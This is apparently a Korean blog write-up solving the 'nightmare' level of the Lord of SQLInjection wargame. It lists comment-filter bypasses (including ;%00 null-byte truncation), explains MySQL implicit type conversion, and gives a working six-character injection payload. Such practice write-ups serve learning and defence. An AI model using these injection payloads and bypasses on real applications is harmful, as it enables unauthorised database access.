ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] nightmare
    Wargame/Lord of SQLInjection 2019. 7. 13. 02:33

    [nightmare] https://los.rubiya.kr/chall/nightmare_be1285a95aa20e8fa154cb977c37fee5.php

    주석으로 사용하였던 #, -가 필터링되어 있고, pw의 길이가 6이하로 제한되어 있다.

    쿼리문의 결과 값이 존재하기만 하면 된다.

     

    select id from prob_nightmare where pw=('')||true#') and id !='admin'

    위와 같이 쿼리문을 만들어주면, 참이 되어 결과 값이 존재할 것이다.

     

    주석 우회
    #, --, ;%00, /**/

     

    ;%00

    MySQL은 쿼리를 읽을 때 null을 만나면 멈춘다.

     

    select id from prob_nightmare where pw=('')||1;%00') and id !='admin'

    7글자다..ㅠ

     

    6자 이내로 쿼리문을 참으로 만들기 위해서는 pw=('')를 이용해야 한다.

    여기서 이용되는 것은 자동 형변환이다.

    MySQL은 타입이 다른 값을 비교할 때 자동 형변환을 한다.

     

    자동 형변환
    'adc' = 0 (true)
    '1abc' = 0 (false)
    '1abc' = 1 (true)

    [자동 형변환] https://limjunyoung.tistory.com/121

     

    자동 형변환을 이용하여 pw=참으로 쿼리문을 참으로 만들 수 있다.

    select id from prob_nightmare where pw=('')=0;%00') and id !='admin'

     

    ?pw=')=0;%00

     

    'Wargame > Lord of SQLInjection' 카테고리의 다른 글

    [LOS] xavis  (0) 2020.03.19
    [LOS] zombie_assassin  (2) 2019.07.09
    [LOS] succubus  (0) 2019.07.06
    [LOS] assassin  (0) 2019.07.06
    [LOS] giant  (0) 2019.07.05

    댓글

@Jo Grini's Blog